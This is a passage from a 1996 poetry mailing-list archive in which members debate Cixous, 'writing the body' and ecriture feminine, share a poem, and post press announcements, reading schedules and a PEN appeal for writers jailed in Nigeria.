>impregnable language that will wreck partitions, classes, and rhetorics,
>regulations and codes, they must submerge, cut through, get beyond the
>ultimate reserve-discourse, including the one that laughs at the very
>idea of pronouncing the word `silence,' the one that, aiming for the

>impossible, stops short before the word `impossible' and writes it as
>`the end.'"

Dear Megan (long time no see),

That Cixous is certainly watery, isn't she? But what she's saying here has a slightly different twist that what Maria wrote, "writing the body." Cixous here is talking about writing through the body, an idea which been around for ages--even Susan Griffin was into that in the 70s, though without the intellectual cache of Cixous. I'm reminded of seeing Jane Gallop years ago give a hilarious talk at San Francisco State where she noted how popular mauve was for the covers of feminist anthologies. Gallop said that mauve was Frenchified pink. Cixous, too, I feel is Frenchified pink.

But, what I'm caught up in is Maria's far more radical phrasing--writing the body. I actually have a lot to say about this, but I had three grants due this week and my brains are fried. I'm thinking of writing an essay.

My-lips-they-are-not-one,
Dodie

↑ Index

335. **Ryan Knighton**
Re: writing the body
Mon 12 Feb 1996

I'm not sure, as I haven't been around much as of late, if this strain is strictly reserved for a feminist angle or application. However, I would like to point out that I too find Maria's phrasing radically different from Cix's, and, in some respects more interesting (maybe because I have access to it then). "Selected Organs", Nichol's "autoBIOgraphy", is a fine example of the difference: writing the body as writing, the body as narrative (life)line. Re-membering (not intending a phallic twist). I think it opens the forum of discussion to other politics than those Cix circumnavigates--I should say, other politics that JUST those. So if I might pose a question, any thoughts on the relationship between body and memory and the writing of? (I keep seeing a tattoo I know of for some reason)

Back and tattooing the monitor,
Ryan

↑ Index

336. Eryque Gleason
erotical quoteedids
Tue 13 Feb 1996

[insert favorite redundancy disclaimer here]

i just recalled some of the work of w.d. earhart (whose name i'm not at all sure that i've spelled correctly, and my copies are in a box somewhere between hither and thither). in particular, one poem about doing the laundry and his fetish of women's underwear.

last i checked, his stuff was on vietnam generation press. and of course, a lot of his work is about war, which you may or may not consider ordinary

eryque

↑ Index

337. Rod Smith
Re: a query
Tue 13 Feb 1996

Ryan, a book dealing broadly w/ the issues you're raising-- from the point of view of teaching composition-- is _Resisting Writings (and the Boundaries of Composition_ by Derek Owens (SMU Press, '94). Deals with Charles B. a bit, tho not "Artifice" particularly, but also Cage, Howe, DuPlessis, Olson, Smitherman, Tedlock, Silliman, many others. The book begins with an epigraph from Charles "Inflexible standardization is the arteriosclerosis of language." While being "about" teaching it ain't no manual, very interesting book. --Rod

↑ Index

338. Chris Stroffolino
Re: writing the body
Tue 13 Feb 1996

It seems alot of american poet women really can't stand Cixous (warning: generalization--be glad to be proved wrong).... I too am curious about Maria's reformulation of "writing THE body" but I also think that Cixous is not just the watery bodily fluid writer of the EARLIER MEDUSA. I don't think it's there much in THREE STEPS ON THE LADDER OF WRITING and that she's being pigeonholed by her early work. I guess Rachel Blau Du Plessis (whose book by the way has that dreaded pink cover, perhaps, Dodie was referring to) and Susan Howe using Cixous as a straw woman doesn't help matters much amongst "poetics" people, and I DO find Clarice Lispector at least as poetic as H.D. by the way.....cs

↑ Index

339. Kevin Killian
Re: writing the body
Tue 13 Feb 1996

At 2:42 AM 2/13/96, Chris Stroffolino wrote:
 I guess Rachel Blau Du Plessis (whose book by the way has that
> dreaded pink cover, perhaps, Dodie was referring to) and Susan Howe
> using Cixous as a straw woman doesn't help matters much amongst "poetics"
> people

I didn't know this about Rachel and Susan . . . but, Chris, Kevin tells me there's a movie starring Gina Lollobrigida and Sean Connery and Ralph Richardson called _Woman of Straw_! I wonder if either Rachel or Susan saw it and it affected their stance on Cixous. The film supposedly shows the depravity of the "modern" "European" woman.

Dodie

↑ Index

340. Ron Silliman
Re: writing the body
Tue 13 Feb 1996

I'm surprised that nobody thus far has suggested that most unfeminist and unfrenchified of texts on this subject, PROPRIOCEPTION.

Ron Silliman
[redacted]

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341. Robert Drake
Re: Poetry Sightings
Tue 13 Feb 1996

---

jorday, thanks for the reading notes. such & similar might be appropriate for a new publication frm buck down books? frm th press release i just got:

> "*The Desk* is a new publication from Buck Downs Books.
> Each issue will feature reviews and commentary covering
> poetry in perfromance, the spoken word, poets' audio, and
> and other non-printed aspects of contemporary poetic practice..."

guidelines from & querys to: buck downs books, po box 50376, washington dc 20091

asever
luigi
TRR/burning press/etc...

↑ Index

342. **Hank Lazer**
Re: Eigner
Tue 13 Feb 1996

If you are in or near Tuscaloosa: Lyn Hejinian & I will be having an informal memorial service for Larry Eigner today at 4:30-6:00. We'll provide wine, snacks, poems, audiotapes (of Larry's KPFA radio show), and information about Larry's life and poetry. The event will take place at Lyn Hejinian's house. (e-mail me for directions....)

Hank Lazer

↑ Index

343. **Joe Amato**
Re: a query
Tue 13 Feb 1996

---

just to second rod's ref. to _resisting writings (and the boundaries of composition)_ by derek owens (smu Press, '94)... well worth the read... it was derek who a decade back intro'd me to language poetry-writing... he teaches now at st. john's (nyc) for anybody who happens thataway...

joe

↑ Index

344. **Nancy D.**
P*A*S*S*I*O*N, anyone?
Tue 13 Feb 1996

Emily--

How do you do?

Re: Marianne Moore:

William Carlos Williams told Moore that she was both in and out of place in the bohemianism of Greenwich Village, and called her "a red berry hanging to a jaded rosebush."

To this Miss Moore replied, "I cannot feel sorry for the red berry when the bush is so full of sap."

--Nancy Dunlop (SUNY Albany)

P.S.--"The Fish" is one of my Under-Pillow 10.

↑ Index

345. Daniel Bouchard

Re: a query

Tue 13 Feb 1996

Rod,

This sounds like a book worth looking at (any insights into Cage are usually helpful, any insights into Du Plessis are usually interesting, and any insights into Howe are usually amusing). Is it available in paperback, and at what price? What's your mailing charge?

[redacted]

_____ Ryan, a book dealing broadly w/ the issues you're raising--from the point of view of teaching composition-- is _Resisting Writings (and the Boundaries of Composition_ by Derek Owens (SMU Press, '94). Deals with Charles B. a bit, tho not "Artifice" particularly, but also Cage, Howe, DuPlessis, Olson, Smitherman, Tedlock, Silliman, many others. The book begins with an epigraph from Charles "Inflexible standardization is the arteriosclerosis of language." While being "about" teaching it ain't no manual, very interesting book. --Rod

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346. Emily Lloyd

*Re: P*A*S*S*I*O*N, anyone?*

Tue 13 Feb 1996

At 10:35 AM 2/13/96 -0500, Nancy D. wrote:
>
>William Carlos Williams told Moore that she was both in and out of place in the
>bohemianism of Greenwich Village, and called her "a red berry hanging to a
>jaded rosebush."
>
>To this Miss Moore replied, "I cannot feel sorry for the red berry when the
>bush is so full of sap."
>

She should have written that down instead of "The Pangolin." :) Point deliciously taken.

e

↑ Index

347. Brian McHale
Re: a query
Tue 13 Feb 1996

Ryan -- It strikes me that there's something like a family resemblance between Bernstein on poetry in "Artifice of Absorption" & Barthes on 19th-cent. prose in "S/Z" & "Pleasure of the Text" especially. And I think I do mean family re- semblance, in the sense that Bernstein is building on/reacting to Veronica For- rest-Thomson, who is coming straight out of Tel Quel (she published an essay on Tel Quel poetics), i.e., straight out of Barthes' intellectual milieu -- possi- bly staight out of Barthes' own seminar, though I'm not sure of that.

Brian McHale

↑ Index

348. Maria Damon
Re: writing the body
Tue 13 Feb 1996

ron writes:
PROPRIOCEPTION.

can u say more?--maria d

↑ Index

349. Chris Stroffolino
*Re: P*A*S*S*I*O*N, anyone?*
Tue 13 Feb 1996

so much depends
upon
a red berry

hanging to
a jaded rosebush

so delicious
and more full
of sap
than the
white chickens....

↑ Index

350. Jordan Davis
Re: biting your buddy
Tue 13 Feb 1996

---

maria,
this (proprioception) is the name of a special view of history taken by a
C. Olson of Rockford Mass. In it he says that we write one perception after
another with our toes. Apparently he was a dancer!
Love,
Hector

↑ Index

351. Pierre Joris
Furrin news that stays news
Tue 13 Feb 1996

Thought this might interest a number of you -- Pierre

WEST AFRICA

NIGERIA: PEN RAPID ACTION FOR DETAINED WRITERS AND JOURNALISTS

The Writers in Prison Committee (WiPC) of International PEN has issued an appeal for writers and journalists detained in Nigeria in the month that marks the first anniversary of the beginning of Ken Saro-Wiwa's trial and the first anniversary of the detention of writer Mohammed Sule. At least six writers and journalists are currently held in Nigeria, including four journalists -- Christine Anyanwu, Ben Charles Obi, Kunle Ajibade and George Mbah -- whose life sentences were reduced to 15 years in October. Also in jail are: Mohammed Sule, who was detained on 9 February 1995 and is still being held without charge or trial, apparently in connection with a film he was planning to make; and Nosa Igiebor, editor-in- chief of "Tell", who was detained on 23 December 1995.

========== Pierre Joris | "Form fascinates when one no longer has the force Dept. of English | to understand force from within itself. That SUNY Albany | is, to create." -- Jacques Derrida Albany NY 12222 | tel&fax:[redacted] | "Poetry is the promise of a language." email: | -- Friedrich Holderlin [redacted]| ==========

↑ Index

352. Janet Hoelle
Re: E=R=O=& other things
Tue 13 Feb 1996

What about Luce Irigaray's "The Sex Which Is Not One" which is often read in conjunction with Cixous.

NICOLE HOELLE

On Sun, 11 Feb 1996, Emily Lloyd wrote:

> *Maria, Dodie: Cixous="writing the body" origin, I'm pretty sure. But then, on the other side of the Atlantic, Audre Lorde (in very different language) suggests something like this...*
>
> *Stein, Creeley *always* win my erotic votes...*
>
> *How about "least erotic?" Marianne Moore, anyone? (Except "The Fish").*
>
> *emily*

↑ Index

353. Douglas Messerli
Sun & Moon Press
Tue 13 Feb 1996

Today is the 20th anniversary of Sun & Moon Press.
The first issue of the magazine was published and
arrived at our offices on February 13th in 1976.
I thought I'd celebrate by listing some of our brand
new titles, all out just since the beginning of the year.

PAINTED TURTLE, by Clarence Major
Paperback, $11.95 (1-55713-085-X)

This simply told work, in which Clarence Major explores the life of an unwed mother and her background on the Zuni reservation, was published in a cloth edition by Sun & Moon Press in 1988. Long out of print, the book, which THE NEW YORK TIMES characterzied as being "a fresh tale of the spiritually transforming power of love told without sanctimony or sentimentality," is now republished into our Classics Series in paperback.

ELEMENOPY, by Michael Coffey
Paperback, $10.95 (1-55713-240-2)
New American Poetry Series: 22

Poet Michael Coffey created ELEMENOPY as a book, rather than as a collection of poems, in order to respresent a procession of struggles and outcomes in his and the poems' relationship to language. The first section, "Loving," contains playful poems that delight in the promise of poetic form and lyric utterance. "Lichen," the second section, is made up of two longer prose poems, each a kind of ill-fated narrative event. In the third section, "Otherwards," Coffey appropriates the words and techniques of other authors--namely Gertrude Stein and Jackson Mac Low--to break through to fresher possibilities for narrative. "Javajazyk," the concluding section, invents a language in which to tell the love story of Vasteny and Ombaly.

ANNIE SALEM, by Mac Wellman
Paperback, $12.95 (1-55713-207-0)
New American Fiction Series: 34

In this, his second novel, Mac Wellman continues his exploration-begun in his award-winning plays A MURDER OF CROWS and THE HYACINTH MACAW--of a low-rent rural America, festering in the backwater pollution from the urban enviornment. Wellman's astonishing Ohio-like world has been tagged by some theatergoers and critics as "Macland," a world peopled by cantankerous, wistful, confused, and frightened people who have lost parts of their body, their minds, and their souls to the perpetual machine of the American dream.

FAIR REALISM, by Barbara Guest
Paperback, $10.95 (1-55713-245-5)

A reprinting, into the Sun & Moon Classics and into paperback, of Barbara Guest's award-winning collection of poems.

WRITING IS AN AID TO MEMORY, by Lyn Hejinian
Paperback, $9.95 (1-55713-271-2)

Long out of print, WRITING IS AN AID TO MEMORY is one of Hejinian's major early works. The book was first published in 1987, and has since gained wide readership; but over the last few years the book has gone out of print. This edition reprints the book into the Sun & Moon Classics.

You may order books simply by E-mailing me with your name, address, and the title of the book OR by ordering from our Web-site www.sunmoon.com

-Douglas Messerli

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354. **Janet Hoelle**
Re: writing the body
Tue 13 Feb 1996

Have read much Cixous and don't submit to her theory as I find it rather limiting, and think that it actually subscribes to the thing it is opposing, oppression etc., as women's writing should after all be free of confines and restrictions, right? It should transcend sexuality shouldn't it? It should be free to do what it wants, even if that means jumping into the noise and cacophony of male language and making something of that. I know whDat she's getting at, and LUCE IRIGARAY and ADRIENNE RICH are both getting at a similar thing, but I nonetheless think it's a more confining, rather than liberating position to adopt when discussing women's creative process as it exists beneath the oppressive forces of a patriarchal structure.

NICOLE HOELLE

On Mon, 12 Feb 1996, megan blair simpson wrote:

> *Dodie, Maria, et al:*
>
> *In "The Laugh of the Medusa" Helene Cixous writes, "woman must write woman. And man, man. . . . By writing her self, woman will return to the body . . . Women must write through their bodies, they must invent the impregnable language that will wreck partitions, classes, and rhetorics, regulations and codes, they must submerge, cut through, get beyond the ultimate reserve-discourse, including the one that laughs at the very idea of pronouncing the word `silence,' the one that, aiming for the impossible, stops short before the word `impossible' and writes it as `the end.'"*
>
> *Megan*

↑ Index

355. **Pierre Joris**
Re: The Nightable Ten
Tue 13 Feb 1996

On Mon, 12 Feb 1996, Edward Foster wrote:

> a very odd, i would think academic, response from pierre joris re: primary
> trouble. i would expect a "coherent menu" from critics, pound, and norton.

> but that can imply an agenda, a politics. as if that came first, which
> an anthologist, certain of his/her priority, might mistakenly assume. the
> anthology, if it is good, does not provide "coherence" but differences,
> no?
>
Edward -- No I don't want a "coherent menu" -- what I suggested was that I hadn't as yet found an overall design or focus in the book. Which may indeed be due to the fact that I have only read around in it. I would be the first one to order the odd menu proposed, especially when the chefs are people I trust. As someone involved with making anthologies in collaboration, a kind of "deformation professionelle" had me immediately fascinated with the conceptof a book put together by a troika. & the focus if theoretically stated in the intro isn't necessarily immediately visible in the construction of the book using, as it does, alphabetical order as ordering principle of the authors. Nothing wrong with that either -- the alphabet is an honorable tradition. But I'll be able to give a better account of the book once I've lived with it for awhile, for the book is obviously big & rich enough to permit that. -- Pierre

========== Pierre Joris | "Form fascinates when one no longer has the force Dept. of English | to understand force from within itself. That SUNY Albany | is, to create." -- Jacques Derrida Albany NY 12222 | tel&fax:[redacted] | "Poetry is the promise of a language." email: | -- Friedrich Holderlin [redacted]| ==========

↑ Index

356. **Daniel Bouchard**

Re: Sun & Moon Press

Tue 13 Feb 1996

>>without sanctimony or
sentimentality," is now republished into our Classics Series
in paperback.

into the Sun & Moon Classics and into paper-
back, of Barbara Guest's award-winning collection
of poems.

out of print. This edition
reprints the book into the Sun & Moon Classics.

_____

Mr. Messerli,

How does Sun & Moon distinguish Classics from not-Classics, or just plain books?

[redacted]

↑ Index

357. **mikl-em**
tics of eros
Tue 13 Feb 1996

---

since the discussion has broadened beyond the LP's to fave eroticers in general, I thought I'd put in my vote for Kenneth Rexroth, esp. _The Love Poems of Marichiko_; also, the plays in _Beyond the Mountains_, interesting for the focus on incestuous couplings.

and as to _Mountains_, a Q: is anyone aware of whether these were ever actually staged, in Rexroth's time or after? the stage direcs. are Very specific and I wonder whether anyone tried to tackle them, made alterations, or whether they were only done as readings.

also 'hi.' [first post]

michael
---
you have been reached by [redacted] [michaelmcelligott*citizen]

↑ Index

358. **Alan Sondheim**
Re: writing the body
Tue 13 Feb 1996

Can a male write feminin ecriture? Where are the boundaries of essential vis-a-vis woman's writing? Can Sandy Stone? Can I? Andre Roy for example? Artaud?

Alan

On Tue, 13 Feb 1996, Janet Hoelle wrote:

> *Have read much Cixous and don't submit to her theory as I find it rather limiting, and think that it actually subscribes to the thing it is opposing, oppression etc., as women's writing should after all be free of confines and restrictions, right? It should transcend sexuality shouldn't it? It should be free to do what it wants, even if that means jumping into the noise and cacophony of male language and making something of that. I know whDat she's getting at, and LUCE IRIGARAY and ADRIENNE RICH are both getting at a similar thing, but I nonetheless think it's a more*

> *confining, rather than liberating position to adopt when discussing women's creative process as it exists beneath the oppressive forces of a patriarchal structure.*
>
> *NICOLE HOELLE*
>
> *On Mon, 12 Feb 1996, megan blair simpson wrote:*
>
> *Dodie, Maria, et al:*
>
> *In "The Laugh of the Medusa" Helene Cixous writes, "woman must write woman. And man, man. . . . By writing her self, woman will return to the body . . . Women must write through their bodies, they must invent the impregnable language that will wreck partitions, classes, and rhetorics, regulations and codes, they must submerge, cut through, get beyond the ultimate reserve-discourse, including the one that laughs at the very idea of pronouncing the word `silence,' the one that, aiming for the impossible, stops short before the word `impossible' and writes it as `the end.'"*
>
> *Megan*

(http://jefferson.village.virginia.edu/~spoons/internet_txt.html Images at http://www.cs.unca.edu/~davidson/pix/)

↑ Index

359. **Steve Carll**

Re: writing the body

Tue 13 Feb 1996

At 02:42 AM 2/13/96 -0500, you wrote:
> It seems alot of american poet women really can't stand Cixous
> (warning: generalization--be glad to be proved wrong)....
> I too am curious about Maria's reformulation of "writing THE body"
> but I also think that Cixous is not just the watery bodily fluid writer
> of the EARLIER MEDUSA. I don't think it's there much in THREE STEPS
> ON THE LADDER OF WRITING and that she's being pigeonholed by her early
> work. I guess Rachel Blau Du Plessis (whose book by the way has that
> dreaded pink cover, perhaps, Dodie was referring to) and Susan Howe
> using Cixous as a straw woman doesn't help matters much amongst "poetics"
> people, and I DO find Clarice Lispector at least as poetic as H.D.
> by the way.....cs

I second that last observation--I love Lispector's writing. I saw Cixous speak at UC Irvine about 6 years ago and found her very engaging, playful with language in a very conscious and opening way. I haven't read the Du Plessis or Howe books that make Cixous a "straw woman"--could someone pass on a little more info on what the general objection seems to be?

Thanks,
Steve

↑ Index

360. **Daniel Bouchard**
Re: tics of eros
Tue 13 Feb 1996

Michael wrote:

and as to _Mountains_, a Q: is anyone aware of whether these were ever actually staged, in Rexroth's time or after? the stage direcs. are Very specific and I wonder whether anyone tried to tackle them, made alterations, or whether they were only done as readings.

_____

Staged in Rexroth's lifetime in New York. He was involved to some extent. Details are in Hamalian's biography. I can't remember the specifics.

[redacted]

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361. **Henry Gould**
writing the bod
Tue 13 Feb 1996

One area to consider if you're going to talk about "writing the body" in the context of poetry is the blurring distinction between poetry and talk. What is the physiology of talk - especially high-tech written talk (i.e. what we're engaged in on this list) - or does such a physiology even exist? Whereas poetry in the past has had a distinct physiology (rhythm, breath, singing, chanting, sound, lyricism). And has talk, discourse, poetics, textuality, etc. replaced poetry? And within this arena is the "concept" of "writing the body" a kind of parody (as Mark Rothko defined parody : "the ghost of an idea")? In such an environment perhaps the fine-art fine press poetry book - a concrete visual experience supporting the spare lingo contained therein - maybe represents a kind of fetishism of the ghost of poetry (as opposed to talk). Remember the time before printing presses & typewriters & computers, when writing was different

from talking (& granted elitist & mandarin)? Back then written poetry tried to capture the physicality of oral poetry to some extent. Those distinctions are blurred now by talk, just as "mass reproduction" has changed visual art. & I wonder what the meaning of "eros" really is in the universe of techno-talk-babble. An image of an image of an image. - Henry Gould

↑ Index

362. Mark Nowak
"Pomo"
Tue 13 Feb 1996

"The postindian antecedes the postmodern condition; the resistance of the tribes to colonial inventions and representations envisioned the ironies of histories, narrative discourse, and cultural diversities. The postindian mien is survivance over dominance...That some postindians renounce the inventions and final vocabularies of manifest manners is the advance of survivance hermeneutics."

Gerald Vizenor
Manifest Manners: Postindian Warriors of Survivance

↑ Index

363. Jordan Davis
Poetry City (events at Teachers & Writers)
Tue 13 Feb 1996

Poetry City

Readings at Teachers & Writers Collaborative
5 Union Square West, 7th Floor
New York, NY 10003 (in case you plan to mail yourself here)

Thursday nights, 6:30-8 p.m.

February 29--Bill Luoma & Simon Pettet

March 7--Lisa Jarnot & John Godfrey

March 14--Maria Damon & Walter Lew

March 21--Himilce Novas & Tonya Foster

March 28--Rod Smith & Loss Glazier

April 4--Marcella Durand & Kim Lyons

April 11--Ron Silliman & Lewis Warsh

April 18--Chris Edgar & Julie Patton

April 25--Stephen Malmude & Gillian McCain

May 2--Cathy Bowman & Juliana Spahr

May 16--Gary Lenhart & Carol Conroy

May 23--Robert Hale & Shannon Ketch

June 6--Brenda Williams & Rosa Alcala Diaz

___

a version of this list appears at

http://www.twc.org/events.htm

The Poetry-in-the-Morning program listed at that address is hosted by Irwin Gonshak. Writers interested in reading on WNYE with Mr. Gonshak should phone [redacted] to arrange taping. ___

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364. **Douglas Messerli**

Re: Sun & Moon Press

Tue 13 Feb 1996

Since Sun & Moon Classics represent major texts of the 20th century and before, we generally include in our Classics any book reprinted (since the presumes a certain wider audience) or a writer generally recognized as an important figure in the American and/or international literary scenes. Our Classics writers have also generally established international reputations.Finally, there is an aspeact of age connected with this; the writers of the Classics are generally (there are few exceptions) 50 or older. Finally, all translations (sincewe have claimed they are internationally important enough to be translated) are included in the Classics series. Major, Guest, and Hejinian all fit these patterns. Once a writers has been published in the Classics, all his or her works are included in that series. The other series are about new and developing talent. No series is preferable; some writers would rather been seen as developing than as "recognized" (i.e. somewhat established).

==========

At 03:00 PM 2/13/96 EST, you wrote:
>>>without sanctimony or
>sentimentality," is now republished into our Classics Series
>in paperback.
>
>into the Sun & Moon Classics and into paper-
>back, of Barbara Guest's award-winning collection
>of poems.

>
>out of print. This edition
>reprints the book into the Sun & Moon Classics.
>
>_____
>
>Mr. Messerli,
>
>How does Sun & Moon distinguish Classics from not-Classics, or just plain books?
>
>
>[redacted]
>

↑ Index

365. **Chris Stroffolino**
Re: Sun & Moon Press
Tue 13 Feb 1996

Dug---and tomorrow is the year anniversary of your reading with RAE in albany.....cs

↑ Index

366. **Steve Carll**
Re: writing the body
Tue 13 Feb 1996

At 03:15 PM 2/13/96 -0500, Alan wrote:
>Can a male write feminin ecriture? Where are the boundaries of essential
>vis-a-vis woman's writing? Can Sandy Stone? Can I? Andre Roy for example?
>Artaud?

Cixous said at the Irvine lecture in '89 (or was it '88?) that Genet could do it. And Shakespeare, in the character of Cleopatra (she didn't mention any of Shakey's other women). I would tend to see gender in writing (who knows, probably in life too, if we had the courage to live that way) as not two opposed camps, but as a spectrum on/through/across which the writing can move freely. Which is to second Nicole's problem with Cixous, although of course in certain ways Cixous does (or did--haven't read her more recently) say the aim is a sort of bisexuality which doesn't sit in between the two camps but embraces them both, and in so doing, does transcend sexuality.

Steve

> *On Tue, 13 Feb 1996, Janet Hoelle wrote:*
>
> *Have read much Cixous and don't submit to her theory as I find it rather limiting, and think that it actually subscribes to the thing it is opposing, oppression etc., as women's writing should after all be free of confines and restrictions, right? It should transcend sexuality shouldn't it? It should be free to do what it wants, even if that means jumping into the noise and cacophony of male language and making something of that. I know whDat she's getting at, and LUCE IRIGARAY and ADRIENNE RICH are both getting at a similar thing, but I nonetheless think it's a more confining, rather than liberating position to adopt when discussing women's creative process as it exists beneath the oppressive forces of a patriarchal structure.*
>
> *NICOLE HOELLE*
>
> *On Mon, 12 Feb 1996, megan blair simpson wrote:*
>
> *Dodie, Maria, et al:*
>
> *In "The Laugh of the Medusa" Helene Cixous writes, "woman must write woman. And man, man. . . . By writing her self, woman will return to the body . . . Women must write through their bodies, they must invent the impregnable language that will wreck partitions, classes, and rhetorics, regulations and codes, they must submerge, cut through, get beyond the ultimate reserve-discourse, including the one that laughs at the very idea of pronouncing the word `silence,' the one that, aiming for the impossible, stops short before the word `impossible' and writes it as `the end.'"*

↑ Index

367. **James Perez**
Re: Poetry Sightings
Tue 13 Feb 1996

---

on this note, I'm going to be in NYC from Sunday the 18? until wednesday the 21st? could those who are or know of readings shout out.

Jamie Perez

↑ Index

368. **Edward Foster**
Re: The Nightable Ten
Tue 13 Feb 1996

---

again, tho, i'd insist that "design" or "focus" is precisely what the poetry, not the editor, must provide. the value of a troika (particularly when they

themselves have such radically different poetics) is that it can undermine assumptions about "design." i think that if an anthology has a "coherent menu," the editor may think the poems are "objects," arranged.

↑ Index

369. Shaunanne Tangney
Re: writing the body
Tue 13 Feb 1996

On Tue, 13 Feb 1996, Alan Sondheim wrote:

> *Can a male write feminin ecriture? Where are the boundaries of essential vis-a-vis woman's writing? Can Sandy Stone? Can I? Andre Roy for example? Artaud?*

cixous says that ecruitur feminine is "writing of a decipherable libidinal feminity which can be read in writing produced by a male or a female" (cixous in Moi, _sexual / textual politics_)

but ecriture feminine is not writing the body. the body is for cixous the locale of the soul; indeed the body is the soul. so in order to present states of the soul (a long time (ancient!) goal of poetics) cixous wants writing to perform the behaviors of the body.

she writes: "Soul! What a beautiful word! Like: god! What a word! We say: soul, as if we knew what it is and where it is, in the vicinity of this unknown one, I proceed exploring with the help of my myopia: I scrutinize 'the movements of the soul,' from close up, I observe the passions at the moment they manifest themselves, such as they express themselves, translate themselves, first of all in out bodies. Where does the tragedy first of all take place? In the body, in the stomach, in the legs, as we know since the Greek tragedies. Aeschylus's characters tell, first and foremost, a body state. Myself--I realized this afterwards--I began by carrying out a rehabilitation of these body states since they are so eloquent, since they concretely speak the troubles of our souls. In this area, I work under the microscope, as a spiritual atomist." --preface to the H. Cixous Reader, Susan Sellars, ed.

as to american women poets not taking to cixous, this american woman poet would have to absolutely disagree: cixous, and especially writing the body, informs my poetry more than almost anything else. one of my PhD comp exams was about writing the body, cixous and my own works, even! if any one out there would like to see what i do w/ writing the body, i'd be glad to post a poem.

best,
shaunanne

↑ Index

370. jeffrey timmons
Re: writing the body
Tue 13 Feb 1996

> *Can a male write feminin ecriture? Where are the boundaries of essential vis-a-vis woman's writing? Can Sandy Stone? Can I? Andre Roy for example? Artaud?*

Faulkner's a great feminine writer.

Jeffrey Timmons

↑ Index

371. Matthew Gary Kirschenbaum
johanna drucker's work
Tue 13 Feb 1996

Can anyone tell me anything about the availability of Johanna Drucker's so-called "visual books" including (but not limited to) _The Word Made Flesh_ (1989), _Simulant Portrait_ (?) and _Otherspace_ (1992). I know these works were produced by a private press with very limited print runs, so I assume they will be expensive and hard to find . . .

Also, any recommendations for critical discussions or other material relating to Drucker's work would be appreciated (I've seen Marjorie Perloff's pages in _Radical Artifice_).

Thanks,

--Matt

========== Matthew G. Kirschenbaum University of Virginia [redacted] Department of English http://faraday.clas.virginia.edu/~mgk3k Electronic Text Center

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372. Emily Lloyd
write that body
Tue 13 Feb 1996

> *Can a male write feminin ecriture? Where are the boundaries of essential vis-a-vis woman's writing? Can Sandy Stone? Can I? Andre Roy for example? Artaud?*

Shaunanne--please do post a poem.

Jouissance envy!?

Rimbaud & Sandy Stone can write feminine ecriture; Camille Paglia cannot. After we get "ze" into general usage, perhaps we can strip "masculine" & "feminine" of their oft-assumed male & female "counterparts." I, too, find the essentialism (Nicole sees in Cix & Rich & Irigaray) of some strains of fem-intellectual thought annoying/oppressive. Also the phrase "American women poets"---whether we do or don't discard Cixous. Oftentimes my more "masculine" work has been misinterpreted by others to be far-out persona stuff--whereas if I write about rape or some other "female" issue it's automatically taken as confessional. Usually just the opposite, of course.

I do, though, acknowledge the importance (continuing, I know, to many) of the above-mentioned fem folks' work.

machismo-in-cheek,

emily

↑ Index

373. **Shaunanne Tangney**

Re: write that body

Tue 13 Feb 1996

On Tue, 13 Feb 1996, Emily Lloyd wrote:

> *Can a male write feminin ecriture? Where are the boundaries of essential vis-a-vis woman's writing? Can Sandy Stone? Can I? Andre Roy for example? Artaud?*
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> *Shaunanne--please do post a poem.*
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> *Rimbaud & Sandy Stone can write feminine ecriture; Camille Paglia cannot. After we get "ze" into general usage, perhaps we can strip "masculine" & "feminine" of their oft-assumed male & female "counterparts." I, too, find the essentialism (Nicole sees in Cix & Rich & Irigaray) of some strains of fem-intellectual thought annoying/oppressive.*

yes, i agree: i find ecriture feminine essentialist (and therefore dangerous) as well: a libidinal economy is no less dualistic that a phallogocentric one. but i do find writing the body a truly remarkable project,in that i like the idea of the soul being the body. i can work with that--there is a curious presence of absence if we make the body the soul--and i like that!

to that end, this poem:

VOCAL-EASE

your tongue at the back
of my neck
whispers
daisy no rosebud no
i mean yes
yes where your fingers
improvise petal
after petal
a spellbound orchid
my mouth
describes the gladioli bent
arc of your back where my
hands find the velvet fur of
stamen on my tongue
lilac lupin sticky stammering
crocus hallelujahs
echo in our eyes
as our bodies recite
the power and the glory
until amen
and sweat fuchsias clinging
to the white adobe of
this moment

we falter apart

for three days
you die inside me

kneeling palm denominating
mine own palm
my tongue
deliberates my once
honeysuckled lips cannot mouth
your name

and so i pray

best,
shaunanne

> *Also the phrase "American*
> *women poets"---whether we do or don't discard Cixous. Oftentimes my more "masculine" work has been misinterpreted by others to be far-out persona stuff--whereas if I write about rape or some other "female" issue it's automatically taken as confessional. Usually just the opposite, of course.*

> *I do, though, acknowledge the importance (continuing, I know, to many) of the above-mentioned fem folks' work.*
>
> *machismo-in-cheek,*
>
> *emily*

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374. FUNKHOUSER CHRISTOPH
IU WWW Poet of the Week
Tue 13 Feb 1996

amid greetings:

Sappho

has been chosen as the Imaginary Universe
poet of the week
13 feb 96

new URL

http://cnsvax.albany.edu/~cf2785/iu.html

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375. Thomas Bell
Re: writing the body
Wed 14 Feb 1996

On Tue, 13 Feb 1996, Maria Damon wrote:

> ron writes:
> PROPRIOCEPTION.
>
> can u say more?--maria d
>
proppirception meaning "second hand"?, "at a distance, at one remove"?
tom bell
or TOM BELL

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376. Chris Stroffolino
Re: write that body
Wed 14 Feb 1996

I was thinking about the term "essentialist feminism"
and wondering if it's REALLY essentialist....
I mean the second you get into "strategic essentialism"
it becomes more "existentialist feminism", no?
And I don't mean "existentialist" pejoratively....
am glad to see much talk of "radical existentialism" going on lately
and though I don't mean to elide the difference between DeBeauvoir and
Cixous....

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377. Charles Alexander
Re: writing the bod
Wed 14 Feb 1996

> *One area to consider if you're going to talk about "writing the body"*
> *in the context of poetry is the blurring distinction between poetry*
> *and talk. What is the physiology of talk - especially high-tech*
> *written talk (i.e. what we're engaged in on this list) - or does*
> *such a physiology even exist? Whereas poetry in the past has had*
> *a distinct physiology (rhythm, breath, singing, chanting, sound,*
> *lyricism). And has talk, discourse, poetics, textuality, etc.*
> *replaced poetry? And within this arena is the "concept" of*
> *"writing the body" a kind of parody (as Mark Rothko defined*
> *parody : "the ghost of an idea")? In such an environment perhaps*
> *the fine-art fine press poetry book - a concrete visual experience*
> *supporting the spare lingo contained therein - maybe represents*
> *a kind of fetishism of the ghost of poetry (as opposed to talk).*
> *Remember the time before printing presses & typewriters & computers,*
> *when writing was different from talking (& granted elitist & mandarin)?*
> *Back then written poetry tried to capture the physicality of*
> *oral poetry to some extent. Those distinctions are blurred now*
> *by talk, just as "mass reproduction" has changed visual art.*
> *& I wonder what the meaning of "eros" really is in the universe*
> *of techno-talk-babble. An image of an image of an image. - Henry Gould*

